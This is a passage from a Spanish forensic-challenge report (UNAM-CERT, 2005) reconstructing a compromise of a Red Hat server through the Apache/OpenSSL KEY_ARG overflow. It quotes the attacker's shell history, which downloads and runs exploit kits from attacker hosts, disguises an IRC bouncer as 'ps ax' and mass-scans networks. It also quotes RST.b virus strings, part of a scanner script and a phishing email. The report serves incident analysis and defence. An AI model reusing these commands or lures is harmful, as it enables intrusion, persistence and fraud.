P/4.1.2 mod_perl/1.26 configured -- resuming normal operations
además en el archivo “/etc/httpd/conf/httpd.conf” encontramos
evidencia de que el servicio de SSL estaba activo:
17

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Listen 80
Listen 443
Con esta información nos dirigimos a la red, en busca de
vulnerabilidades conocidas para la combinación Apache/1.3.23 (Unix)
(Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b Y encontramos que dicha
combinación es vulnerable debido a un fallo que permite obtener una
shell remota al realizar un HandShake de ssl enviando un paquete
especialmente malformado, dicha vulnerabilidad se encuentra
documenta en http://www.cert.org/advisories/CA-2002-23.html ,
encontramos que existen varios exploit's para esta vulnerabilidad e
incluso un gusano llamado “slapper-worm”. Sin embargo las líneas de
log que obtuvimos del log de Apache coinciden particularmente con
las firmas del exploit openssl-too-open o alguna de sus variantes,
este exploit escrito por “Solar Eclipse” se aprovecha de la
vulnerabilidad existente en la versión de OpenSSL/0.9.6 que permite
mediante el envió paquetes especialmente formados provocar un Buffer
Overflow en el OpenSSL Handshake al enviar una KEY_ARG especialmente
larga, y asi obtener una shell con el usuario que corre el Apache
Web Server regularmente “nobody” o como en este caso “apache”, para
poder realizar el exploit es necesario enviar dos solicitudes de
SSL, la primera provocara el buffer overflow y la segunda llevar una
carga especial de código “shell” (Esto explicaría el hecho de las
solicitudes hechas al Apache en lapsos de un segundo). Un punto
interesante del exploit, es que la actividad realizada por el
usuario “nobody” o “apache” no queda registrada.
Una vez que el atacante ha obtenido acceso al equipo puede
modificar las paginas Web, o descargar/subir herramientas para
obtener privilegios de root. Este exploit regularmente incluye otra
herramienta openssl-scanner a la que se le pueden suministrar varias
IP's para automatizar la tarea (Este pudiera ser el escáner de
vulnerabilidades que habíamos supuesto uso).
No es la intención de este documento centrarse en la
descripción de dicho exploit asi que solo se describe a grandes
18

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
rasgos su funcionamiento, sin embargo se recomienda ampliamente leer
el documento llamado “Traveling Through the OpenSSL Door” escrito
por Keven Murphy para SANS Institute que describe de forma bastante
detallada el exploit y la vulnerabilidad, dicho documento puede ser
hallado en
http://www.giac.org/certified_professionals/practicals/gcih/0432.php
. Adicionalmente hemos encontrado que este exploit se ha
empaquetado con otras herramientas para realizar escaneos masivos de
host's, en búsqueda de maquinas vulnerables (Un ejemplo es el
paquete atd.tgz, cuya descripción se encuentra en
http://www.lurhq.com/atd.html )
Siguiendo las líneas de log que coinciden con las firmas del
exploit antes mencionado encontramos que la última quedo registrada
a las 15:14:57:
[Sat Jan 29 15:14:57 2005] [error] mod_ssl: SSL handshake
failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS
L library error follows)
Apenas dos minutos antes de comenzara la actividad anormal en
el equipo. Llegado este punto recapitulamos brevemente nuestros
hallazgos. Suponemos que el atacante estaba realizando un escaneo
buscando especialmente explotar la vulnerabilidad de Apache/ OpenSSL
0.9.6b cuando se topo con nuestro Host, usando el exploit opensslto-open
vulnero exitosamente el equipo y obtuvo una shell bajo el
usuario “apache” (Que era el usuario que corría el Web Server).
Descargo e instalo la serie de utilerías contenidas en za.tgz. y
ejecuto el backdoor zbind que le permitió abrir una shell en el
puerto 4000 con probables permisos de “root” o ejecuto alguna de las
otras herramientas para obtener los permisos del superusuario.
A partir de ahí descargo y ejecuto una serie de herramientas
para mantener el acceso remoto(De las cuales una estaba infectada
con una variante del virus RST.b), dio de alta un usuario “weed” con
privilegios de superusuario y finamente instalo un IRC Proxy Server.
Para corroborar nuestra teoría de que el sistema esta además
infectado con un virus realizamos una prueba ejecutando el comando
strings < gawk | more (Elegimos este archivo por ser de los primeros
en ser modificados). Y ahí encontramos la firma del virus:
/dev/hdx
SQRVW
ZY[=
ZY[=
_^ZY[
SQRVW
19

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Y[_^ZY[
ZY[=
[SQRVW
tBSQR
ZY[=
ZY[=
[X_^ZY[
DOM`
/bin/sh
xxxxyyyyzzzz
Y[XXXXXX
GET /~telcom69/gov.php HTTP/1.0
Despues de revisar varios archivos que aparecen modificados a
partir del 29 encontramos que el virus se instalo en prácticamente
la mayoría de los ejecutables de uso común del sistema, algunos de
los archivos infectados fueron netstat, mt, mktemp, mknod, mkdir,
mail, ls, ln, hostname, de, df, dd, cpio, chown y chgrp.
Un ejercicio adicional consistió en buscar dentro de hda3.dd
evidencia del exploit usado para obtener acceso, esto debido a que
probablemente y por el perfil del atacante (Que anteriormente
supusimos), es factible que vaya a intentar usar nuestro host como
plataforma para lanzar nuevos ataques, basados en el documento de
Keven Murphy buscamos por la dirección de correo del autor (Solar
Eclipse) la linea ejecutada fue la siguiente:
#./parser.pl "solareclipse" /media/cdrecorder/hda6.dd
solar.txt
Y encontramos una linea del exploit:
* by Solar Eclipse
Resta poco por hacer ahora que ya tenemos la tesis sobre el
ataque, finalmente analicemos la actividad del atacante para los
días siguientes (30 y 31 de Enero). Para el día 30 solo encontramos
actividad a las 4 AM, y esta fue genera probablemente por el cron de
la maquina. Para el día 31 tenemos actividad en psyBNC a las 3:12:
31 ene 3:12 /var/tmp/psybnc/USER1.LOG
31 ene 3:12 /var/tmp/psybnc/.
31 ene 3:12 /var/tmp/psybnc/scripts ..
31 ene 3:12 /var/tmp/psybnc/help ..
31 ene 3:12 /var/tmp/psybnc/menuconf ..
31 ene 3:12 /var/tmp/psybnc/tools ..
31 ene 3:12 /var/tmp/psybnc/motd ..
20

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
31 ene 3:12 /var/tmp/psybnc/log ..
31 ene 3:12 /var/tmp psybnc
El archivo /var/tmp/psybnc/log/psybnc.log nos muestra que el
IRC Proxy Server arranco con fallas:
Sat Jan 29 15:46:42 :Listener created :0.0.0.0 port 17900
Sat Jan 29 15:46:42 :Error Creating Socket
Sat Jan 29 15:46:42 :Can't create listening sock on host *
port 17900
Sat Jan 29 15:46:42 :Can't set a suitable Host for DCC Chats
or Files. Please de
fine at least one Listener for an IP.
Sat Jan 29 15:46:42 :psyBNC2.2.1-cBtITLdDMSNp started (PID
:24907)
A las 4:02 encontramos otra serie de archivos modificados,
entre ellos el rpmpkgs, ahora si podemos desechar totalmente la idea
de realizar un análisis de verificación de firmas.
31 ene 4:02 /var/lib/logrotate.status
31 ene 4:02 /var/lib/rpm
31 ene 4:02 /var/lib/rpm .
31 ene 4:02 /var/log rpmpkgs
31 ene 4:02 /var/log .
31 ene 4:02 /var/spool/anacron/cron.daily
31 ene 4:02 /var/log
31 ene 4:12 /var/lib/slocate
31 ene 4:12 /var/lib/slocate/slocate.db
31 ene 4:12 /var/lib/slocate .
A las 11:54 aparecen dos nuevas herramientas w00t que trae una
serie de exploits y backdoors, y selena que trae el escáner de
puertos pscan2 y unas utilerías para escanear vulnerabilidades,
este paquete también estaba infectado con el virus RST.b o alguna de
sus variantes:
/bin/sh
xxxxyyyyzzzz
21

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Y[XXXXXX
GET /~telcom69/gov.php HTTP/1.0
31 ene 11:54 /var/tmp/w00t ..
31 ene 11:54 /var/tmp/psybnc ..
31 ene 11:54 /var/tmp/selena ..
31 ene 11:54 /var/tmp/selena/ssvuln
31 ene 11:54 /var tmp
31 ene 11:54 /var/tmp .
Y por consecuencia se da la infección de más programas dentro
de la maquina:
31 ene 12:03 /bin/setserial
31 ene 12:03 /bin/ping
31 ene 12:03 /bin/netstat
31 ene 12:03 /bin/mt
31 ene 12:03 /bin/mktemp
31 ene 12:03 /bin/mknod
31 ene 12:03 /bin/mkdir
31 ene 12:03 /bin/mail
31 ene 12:03 /bin/ls
31 ene 12:03 /bin/ln
31 ene 12:03 /bin/hostname
31 ene 12:03 /bin/ed
31 ene 12:03 /bin/df
31 ene 12:03 /bin/dd
31 ene 12:03 /bin/cpio
31 ene 12:03 /bin/chown
31 ene 12:03 /bin/chgrp
Mas actividad de selena, y nuevamente un archivo
.bash_history.
31 ene 12:03 /var/tmp/selena/sslex
31 ene 12:03 /var/tmp/selena/217.172.ssl.out
31 ene 12:03 /var/tmp/selena/ssx
31 ene 12:03 /var/tmp/selena/sslx
31 ene 12:03 /var/tmp/selena/ssl
31 ene 12:03 /var/tmp .bash_history
22

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Correos en cola, para root:
31 ene 13:31 /var/spool/mqueue/dfj0VJV0A25551
31 ene 13:31 /tmp/logwatch.XXLltDIY ..
31 ene 13:31 /tmp/makewhatisnuAB1j ..
31 ene 13:31 /tmp/makewhatisLZwx4z ..
31 ene 13:31 /tmp .
31 ene 13:31 /tmp
31 ene 14:59 /var/spool/mqueue/qfj0VJV0A25551
31 ene 15:20 /var/spool/mail/root
31 ene 15:20 /var/spool/mail .
31 ene 15:20 /var/spool/mqueue .
31 ene 15:20 /var/spool/mqueue
31 ene 15:20 /var/spool/mail
31 ene 15:20 /etc/mail/statistics
Y finalmente la ejecución del fichero /etc/mrtg:
31 ene 15:25 /etc/mrtg mrtg.ok
31 ene 15:25 /etc/mrtg .
31 ene 15:25 /etc mrtg
Analizaremos ahora la actividad en el último .bash_history que
encontramos, anexo comentarios en rojo:
w Verifica la identidad del usuario con el que se encuentra
cd /var/tmp Se cambia al directorio /var/tmp y lista el
contenido, note que nuevamente ejecuta ls -sa y dir, suponemos que
se trata del mismo atacante.
ls -sa
dir
rm -rf /tmp/* Elimina el contenido de /tmp/ y se cambia al
directorio /var/log
cd /var/log
dir
exit Intenta abandonar el shell con el que se encontraba y
verifica la identidad del usuario nuevamente.
id
Se cambia a /var/tmp y lista el contenido
cd /var/tmp
23

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
ls
dir
Descarga woot.tgz del que anteriormente hablamos, lo
desempaqueta y ejecuta el asmb que es un escáner y exploit de
vulnerabilidades de SAMBA para redes clase B
wget www.zetu.as.ro/woot.tgz
tar xvfz woot.tgz
cd w00t
./asmb 200.207
Se cambia a /dev/shm y descarga psyz.tar.gz que es otro
paquete del psyBNC, como vimos anteriormente parece que tuvo
problemas para arrancarlo.
ls
dir
cd /dev/shm
dir
wget www.zetu.as.ro/psyz.tar.gz
tar xzvf psyz.tar.gz
rm -rf psyz.tar.gz
Cambia de opinión y elimina el paquete que acaba de descargar,
mejor baja un archivo preconfigurado de psybnx, oculta el ejecutable
como “ps ax” e inicia el servicio de psybnc
mv psybnc local
cd local
rm -rf psybnc.conf*
wget www.zetu.as.ro/psybnc/psybnc.conf
mv psybnc "ps ax"
export PATH="."
"ps ax"
Regresa a /var/tmp y elimina el anteriormente descargado
woot.tgz, nuevamente intenta instalar el psybnc.tgz
cd var/tmp
dir
rm -rf woot.tgz
dir
wget www.zetu.as.ro/psybnc.tgz
tar xvfz psybnc.tgz
cd psybnc
./psybnc
w
exit
w
Aquí finalmente descarga selena.tgz y ejecuta assl.
ps aux
cd /var/tmp
ls
dir
24

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
wget http://www.plus.factory.home.ro/selena.tgz
tar xvfz selena.tgz
cd selena
./assl 217.172
Cuando echamos un ojo a assl resulta ser un shell script que
ejecuta una de las variantes de exploits que se aprovechan de la
vulnerabilidad de Apache OpenSSL y realiza escaneos masivos sobre
redes clase b , utiliza el escaner de puertos pscan2 para obtener
informacion acerca del puerto 443 y luego ejecuta una variante del
exploit openssl-too-open para obtener acceso, existe una gran
posibilidad de que este haya sido el mismo exploit usado para
obtener acceso a nuestro Host. a continuación unas líneas obtenidas
de el:
echo "# scanner for the apache 0p3nSSL vuln by insider"
echo "# PRIVATE PRIVATE PRIVATE"
echo "# DON'T DISTRIBUTE"
echo "----------------------------------------------------"
echo "# starting scan ..."
./pscan2 $1 443
Finalmente echamos un vistazo a la que quedo en la cola de
correo (En un análisis forense en forma, seria bastante conveniente
solicitar permiso por escrito para ello, recordemos que el correo
electrónico es privado), ahí encontramos 4 archivos 2 vacíos, 1 es
una notificación de un correo no entregado a yahoo, y el otro es el
correo, se trata de un intento de Pishing por parte del atacante
hacia mailpentruspam@yahoo.com para obtener información de una cuenta
bancaria, este texto fue encontrado en el correo:
your
Dear Washington Mutual customer,
WAMU is committed to maintaining a safe environment for its
community of buyers and sellers.Protecting the security of
account and of the Washington Mutual network is our primary
concern. In this respect,as a preventative measure,we have
recently revised your account information data in order
to assure ourselves that the most advanced security techniques
in the world and our anti-fraud teams regularly screen the
WAMU system for any unusual activity.As our part of the job is
done, there is only one step further for you to take, so that
we can thoroughly guarantee our services. Therefore, if you
are the rightful holder of the account please fill in the form
below so that we can check the compliance with our database.
25

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Como ejercicio adicional buscamos evidencia para el mes de
Febrero con nuestro script usando la linea ./parser.pl "Feb"
RTF/hda3.dd/hda3.dd Feb.txt. Al no encontrar nada corroboramos que
la actividad finalizo el 29 de Enero y damos por concluida esta
parte del análisis. Finalmente para corroborar nuestra tesis sobre
el ataque usamos las herramienta de Sleuthkit y Autopsy. Dichas
herramientas pueden ser obtenidas de http://www.sleuthkit.org, Autopsy
proporciona una herramienta grafica mediante un browser que facilita
el análisis pro bloques de las imágenes, en el sitio de sleuthkit se
encuentran guías detalladas de la instalación de las herramientas,
nuevamente basados en la idea de que este no debe ser un manual de
instalación sino una referencia para el análisis se explica a grosso
modo el uso de autopsy, y se deja referencia para quien quiera
ahondar en el tema. Procedamos pues con el análisis, arrancamos
autopsy con el comando ./autopsy, ahora podemos abrir una ventana
del navegador de Internet y ver autopsy en el URL
http://localhost:9999/autopsy, en dicha ventana abrimos un nuevo caso con
el botón “New case”:
Llenamos el formulario y guardamos el caso, posteriormente
abrimos el caso con el botón “Open case” y seleccionamos la opción
para agregar un nuevo host, dejamos la Zona horaria en blanco ya que
26

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
como vimos anteriormente esta corresponde a la ciudad de México y
coincide con la instalada en nuestro laboratorio:
---------
Una a una agregamos las imágenes al caso, cuidando que el tipo
coincida linux-ext3 como vimos anteriormente, y cuidando que el
27

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
punto de montaje sea el que encontramos en el fstab en un principio,
a excepción de hda6.dd que como habíamos visto corresponde a memoria
swap por lo que no es necesario especificar punto de montaje.
Una vez montadas todas las imágenes podemos navegar por el
sistema de archivos simplemente seleccionando la imagen y usando la
utilería File análisis, por ejemplo a navegar hacia /var/log en
hda3.dd vemos la existencia de los logs del sistema:
28

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Usamos la utilería “Time Line análisis” para generar una linea
de tiempo sobre el sistema, a continuación se exponen algunos
detalles de dicha linea de tiempo, intercalo comentarios en rojo:
Se detiene el servicio de nscd
Sat Jan 29 2005 15:14:57 0 .a. l/-rw------- root root 18398
/etc/rc.d/rc2.d/K74nscd (deleted)
0 .a. -rw------- root root 18398
0 .a. -/-rw------- apache root 304012
/var/run/httpd.mm.723.sem
0 .a. -rw------- root root 18399
0 .a. l/-rw------- root root 18399
/etc/rc.d/rc5.d/K74nscd (deleted)
Sat Jan 29 2005 15:15:41 0 .a. -rwxr-xr-x apache apache 959
El usuario apache intenta editar el archivo sshd_config, lo
que refuerza la teoría de que el atacante ingreso con dicho usuario
0 .a. -/-rwxr-xr-x apache apache 959
/etc/ssh/sshd_config~ (deleted)
Sat Jan 29 2005 15:16:49 86016 m.c d/drwxr-xr-x root root 31937 /dev
252844 m.c -/-rwxr-xr-x root root 47990
/bin/gawk-3.1.0
Evidencia de la infección por el virus RST.b
0 mac -/---------- root root 37434 /dev/hdx1
0 mac -/---------- root root 37435
/dev/hdx2
252844 m.c -/-rwxr-xr-x root root 47990
/bin/gawk
Evidencia de la creación del usuario weed.
Sat Jan 29 2005 15:17:13 24 mac -/-rw-r--r-- root root 64002
29

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
/home/weed/.bash_logout
/home/weed
4096 m.c d/drwx------ root root 64001
Esta ves autopsy no nos permitió rescatar ningún archivo sin
embargo y como vemos los eventos de la linea de tiempo generada van
coincidiendo con nuestro análisis, toda la linea fue analiza pero
por cuestiones de espacio no se incluyo todo. Dada la evidencia
consideramos el análisis concluyente y damos por cerrado el caso. Se
adjunta en los archivos de apoyo la linea de tiempo generada.
Pasaremos ahora al resumen y exposición de resultados.
3 .- Resumen y resultados.
3.1 – Resumen y resultados.
Los resultados expuestos y la cronología del ataque se basan
en la hora del Host atacado. Dicho Host tenia como zona horaria
“America/Mexico_City”. El 29 de Enero del año en curso se presento
un ataque en contra de la maquina cuyo perfil se describe a
continuación:
Nombre:Finanzas
IP: 192.168.200.128 y 192.168.200.188
Sistema Operativo: Red Hat Linux release 7.3 (Valhalla)
-Dicha maquina había sido reiniciada por ultima vez el el 20
de Enero alrededor de las 16:33 y estuvo expuesta a una serie de
ataque de diccionario a partir de esa fecha, dichos ataques no
rindieron fruto.
-El 29 de Enero a las 15:14 aprovechándose de una
vulnerabilidad en el OpenSSL 0.9.6b combinado con Apache un atacante
usando la IP 64.202.43.190 perteneciente a Altaway un proveedor de
Hosting de Reno Nevada en los Estados Unidos, logra un introducirse
en el equipo, usando un exploit que se aprovecha de una
vulnerabilidad en openSSL a través de Apache Web Server y le permite
obtener un shell como el usuario “apache” que es quien ejecutaba el
Web Server.
30

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
-A las 15:16 del mismo día, usando herramientas contenidas en
el paquete za.tgz (zbind, zero, etc), el atacante obtiene una root
shell.
-A partir de las 15:16 y hasta las 15:46 aproximadamente, el
atacante estuvo en el equipo con perfil de súper usuario, descargo
herramientas que le permitirían mantener el acceso remoto al equipo
(crk.tar.gz, https, sc.tgz, pico) una de esas herramientas
(crk.tar.gz) pareciera haber estado contaminada con una variante del
virus RST.b por lo que infecta el equipo. Adicionalmente el atacante
crea y borra un usuario “weed” con perfil de superusuario
(Probablemente con el mismo propósito).
-De 15:46 a 17:53 el atacante instala un IRC Proxy Server
llamado psyBNC, sin embargo aparentemente no logra hacerlo
funcionar, no se tiene más indicios de actividad del atacante para
ese día
- No se tienen indicios de actividad del atacante para el día
30 de Enero.
- El día 31 de Enero a las 3:12 el atacante entra nuevamente y
reintenta con el psyBNC, en archivo de configuración del psyBNC se
encontró el nombre “Angel”.
-Entre 4:02 y 4:12 se modifican una serie archivos en la
maquina entre ellos rpmpkgs que contiene las firmas de los programas
instalados en la maquina, probablemente para eludir el análisis
forense.
- Entre 11:52 y 13:31 el atacante descarga dos herramientas
mas selena.tgz y woot.tgz, estos set de herramientas permitieron al
atacante convertir el Host en una plataforma para lanzar nuevos
ataques a redes clase “B”, los ataques intentados eran mediante el
exploit de la vulnerabilidad de Apache + OpenSSL 0.9.6b el primero y
vulnerabilidades en samba el segundo. El archivo selena.tgz contenía
una variante del exploit openssl-too-open, probablemente la misma
usada para vulnerar nuestro Host.
- Entre 13:31 y 15:20 realiza un intento de Pishing para
obtener información de una cuenta bancaria. No hay más actividad del
atacante o del Host.
31

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
3.2 – Perfil y motivación del atacante.
La evidencia encontrada nos permite clasificar al atacante,
creamos una categoría y dividimos a los Hackers según sus
habilidades y conocimiento en Hackers de Elite, Hackers y Script
Kiddie's, siendo los primeros los que tienen el nivel mas elevado y
los últimos el nivel mas bajo, nuestro atacante caería en el nivel
de Script Kiddie, el atacante utilizo siempre herramientas
disponibles en la red, de las cuales la mayoría tenían firmas ya
conocidas, durante el ataque mostró un comportamiento errático (Por
ejemplo instalo de manera fallida varias herramientas para mantener
el acceso remoto cuando solo una le hubiese sido suficiente),
contamino el equipo con una variante del virus RST.b probablemente
de manera no intencional (Simplemente no sabia que estaba haciendo)
y problemente haya contaminado también el equipo del cual lanzo el
ataque, dejo huellas claras de su paso por la maquina, y se arriesgo
bastante para hacer funcionar un servidor Proxy para IRC, finalmente
hizo de la maquina una plataforma para lanzar nuevos ataques.
Este tipo de atacantes no tienen una motivación especifica,
simplemente es el deseo de reconocimiento por parte de la comunidad
Underground a la que pertenece y la emoción que le pudo haber
producido el realizar el ataque. Es evidente que nuestro atacante
hubiera atacado cualquier otra maquina que se topara y que estuviese
vulnerable. Lamentablemente se topo con nuestra maquina.
3.3 – Recomendaciones y conclusiones.
El ataque tuvo éxito debido a que no se tuvo el cuidado
adecuado para con la maquina. Se recomienda mantener el sistema
actualizado, a la fecha existen parches y upgrades que permiten
eliminar la vulnerabilidad que aquí fue explotada, un correcto
manejo de las actualizaciones del sistema le permitirán mantener un
sistema estable y más seguro. Existen medidas que hubiesen ayudado a
detectar con tiempo el ataque, una buena medida seria tener un
sistema de detección de intrusos (IDS), existen algunos gratuitos
como “SNORT” www.snort.org/, actualmente existen firmas para este
tipo de ataques. también es conveniente mantener un monitoreo de los
32

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
servicios que corren en el sistema, hasta el día 31 el servicio de
HTTPS estuvo fallando, los analizadores de logs ya no encontraban
que analizar (Puesto que los logs habían sido borrados), y sin
embargo parece que nadie tomo acciones al respecto.
Finalmente la implementación de una cultura de la seguridad en
el entorno de gente que depende o trabaja con el equipo de cómputo
(En este caso nuestro Host “Finanzas”), será determinante para
evitar este tipo de incidentes en un futuro. Finalizo esta parte con
una frase que me dejo uno de mis maestros: “La cadena de la
seguridad se rompe por el eslabón mas débil, y dicho eslabón suele
ser aquel en que se invierte menos dinero”. La información también
es un valor que debe ser protegido.
4 .- Agradecimientos.
Regularmente no incluiría esto en un reporte, pero no puedo
concluir sin agradecer a los organizadores del Reto Forense por
darnos esta oportunidad de aprendizaje, la experiencia ha resultado
ser enorme. El análisis aquí presentado es una muestra de la
investigación realizada, hasta la fecha no he encontrado una
metodología de análisis (Quizás sea por un hacker no tiene una
metodología de ataque), sin embargo la mayoría lo he aprendido de
manuales, libros y guías que he encontrado en la red, espero que
este análisis sirva a alguien mas, de la forma que a mi me han
servido los análisis realizados por otros. Agradezco además a la
gente que me apoyo durante la realización de la investigación, a la
gente de la lista de ANAFON y por supuesto a mi amada esposa Gaby,
que me dejo desvelarme estos días para poder llevar a cabo esta
investigación ;-).
33

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Anexo 1.
Scripts para montar y desmontar las imágenes .dd
monta.sh
#!/bin/bash
#Este script monta las imágenes dd, sustituya el directorio
#donde se encuentran los archivos y el directorio donde se
#montaran y ejecute ./monta.sh
#
#
mount -ro,loop /windows/RTF/hda1.dd/hda1.dd /mnt/escena
mount -ro,loop /windows/RTF/hda2.dd/hda2.dd /mnt/escena/home
mount -ro,loop /windows/RTF/hda3.dd/hda3.dd /mnt/escena/var
mount -ro,loop /windows/RTF/hda5.dd/hda5.dd /mnt/escena/usr
echo “listo”
desmonta.sh
#!/bin/bash
#Este script le permite desmontar los archivos dd, sustituya
#el directorio donde están montados y ejecute, ./desmonta.sh
#
#
umount /mnt/escena/home
umount /mnt/escena/var
umount /mnt/escena/usr
umount /mnt/escena
echo “listo”
34

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Anexo 2.
Scripts que busca líneas en los archivos dd en base a un
patrón
./parser.sh
#!/usr/bin/perl
# parser.pl por Juan Hurtado
# Busca líneas que contengan una palabra clave
# Use ./parser.pl palabraclave archivoentrada archivosalida
# El autor lo autoriza para que modifique y use este script
# libremente, mientras mantenga una referencia al nombre del
# autor.
$keyword=@ARGV[0];
$inputfile=@ARGV[1];
$outputfile=@ARGV[2];
open(SALIDA,"> $outputfile");
open(FILE,"< $inputfile");
while(){
print SALIDA if /$keyword/;
}
close(FILE);
close(SALIDA);
print “Finalizado\n”;
35

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
Anexo 3.
análisis por fechas de archivos ya ordenado.
29 ene 4:02 /var/www/html/usage daily_usage_200501.png
29 ene 4:02 /var/www/html/usage usage.png
29 ene 4:02 /var/www/html/usage usage_200501.html
29 ene 4:02 /var/www/html/usage index.html
29 ene 4:02 /var/www/html/usage hourly_usage_200501.png
29 ene 4:02 /var/www/html/usage ctry_usage_200501.png
29 ene 4:02 /var/lib/webalizer webalizer.current
29 ene 4:02 /var/lib/webalizer webalizer.hist
29 ene 15:16 / dev
29 ene 15:16 /bin gawk-3.1.0
29 ene 15:16 /bin gawk
29 ene 15:16 /dev hdx2
29 ene 15:16 /dev hdx1
29 ene 15:16 /dev .
29 ene 15:16 /dev/shm ..
29 ene 15:16 /dev/pts ..
29 ene 15:16 /dev/ataraid ..
29 ene 15:16 /dev/dri ..
29 ene 15:16 /dev/cpu ..
29 ene 15:16 /dev/compaq ..
29 ene 15:16 /dev/cciss ..
29 ene 15:16 /dev/i2o ..
29 ene 15:16 /dev/raw ..
29 ene 15:16 /dev/logicalco ..
29 ene 15:16 /dev/input ..
29 ene 15:16 /dev/inet ..
29 ene 15:16 /dev/ida ..
29 ene 15:16 /dev/rd ..
29 ene 15:16 /dev/video ..
29 ene 15:16 /dev/usb ..
29 ene 15:17 / home
29 ene 15:17 /var/spool/mail weed
29 ene 15:17 /home weed
29 ene 15:17 /home .
29 ene 15:17 /home/lost? ..
29 ene 15:17 /home/Contador ..
29 ene 15:17 /home/weed .bashrc
29 ene 15:17 /home/weed .bash_profile
29 ene 15:17 /home/weed .bash_logout
29 ene 15:17 /home/weed ..
29 ene 15:17 /home/weed .
29 ene 15:18 /etc passwd-
29 ene 15:19 /lib libproc.so
29 ene 15:20 / .
29 ene 15:20 /opt ..
29 ene 15:20 /initrd ..
29 ene 15:20 /misc ..
29 ene 15:20 /lost? ..
29 ene 15:20 /proc ..
29 ene 15:20 /usr ..
29 ene 15:20 /boot ..
29 ene 15:20 /var ..
29 ene 15:20 /bin ..
36

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
29 ene 15:20 /mnt ..
29 ene 15:20 /dev ..
29 ene 15:20 /home ..
29 ene 15:20 /lib ..
29 ene 15:20 /sbin ..
29 ene 15:20 /root ..
29 ene 15:20 /etc ..
29 ene 15:20 /tmp ..
29 ene 15:21 / lib
29 ene 15:21 /usr include
29 ene 15:21 /usr/include hosts.h
29 ene 15:21 /usr/include .
29 ene 15:21 /usr/include/pwdb ..
29 ene 15:21 /usr/include/sp ..
29 ene 15:21 /usr/include/pgsql ..
29 ene 15:21 /usr/include/libpq ..
29 ene 15:21 /usr/include/libpq ..
29 ene 15:21 /usr/include/kpathsea ..
29 ene 15:21 /usr/include/apache ..
29 ene 15:21 /usr/include/lwres ..
29 ene 15:21 /usr/include/isccfg ..
29 ene 15:21 /usr/include/isccc ..
29 ene 15:21 /usr/include/isc ..
29 ene 15:21 /usr/include/dst ..
29 ene 15:21 /usr/include/dns ..
29 ene 15:21 /usr/include/curl ..
29 ene 15:21 /usr/include/db2 ..
29 ene 15:21 /usr/include/db1 ..
29 ene 15:21 /usr/include/db3 ..
29 ene 15:21 /usr/include/uuid ..
29 ene 15:21 /usr/include/ss ..
29 ene 15:21 /usr/include/ext2fs ..
29 ene 15:21 /usr/include/et ..
29 ene 15:21 /usr/include/gdbm ..
29 ene 15:21 /usr/include/asm ..
29 ene 15:21 /usr/include/linux ..
29 ene 15:21 /usr/include/gnu ..
29 ene 15:21 /usr/include/bits ..
29 ene 15:21 /usr/include/arpa ..
29 ene 15:21 /usr/include/sys ..
29 ene 15:21 /usr/include/scsi ..
29 ene 15:21 /usr/include/rpcsvc ..
29 ene 15:21 /usr/include/rpc ..
29 ene 15:21 /usr/include/protocols ..
29 ene 15:21 /usr/include/nfs ..
29 ene 15:21 /usr/include/netrose ..
29 ene 15:21 /usr/include/netrom ..
29 ene 15:21 /usr/include/netpacket ..
29 ene 15:21 /usr/include/netipx ..
29 ene 15:21 /usr/include/netinet ..
29 ene 15:21 /usr/include/neteconet ..
29 ene 15:21 /usr/include/netax25 ..
29 ene 15:21 /usr/include/netatalk ..
29 ene 15:21 /usr/include/netash ..
29 ene 15:21 /usr/include/net ..
29 ene 15:21 /usr/include/g3 ..
29 ene 15:21 /usr/include/libuser ..
29 ene 15:21 /usr/include/libxml2 ..
29 ene 15:21 /usr/include/ncurses ..
29 ene 15:21 /usr/include/openssl ..
29 ene 15:21 /usr/include/security ..
29 ene 15:21 /usr/include/parted ..
37

Titulo: Informe Técnico Reto Forense V2.0
Fecha: 18/ Feb/ 2005 UNAM-CERT/ IRIS CERT
29 ene 15:21 /usr/include/pci ..
29 ene 15:21 /usr/include/kudzu ..
29 ene 15:21 /usr/include/php ..
29 ene 15:21 /usr/include/pcre ..
29 ene 15:21 /usr/include/pspell ..
29 ene 15:21 /usr/include/aspell ..
29 ene 15:21 /usr/include/python1.5 ..
29 ene 15:21 /usr/include/readline ..
29 ene 15:21 /usr/include/rpm ..
29 ene 15:21 /usr/include/slang ..
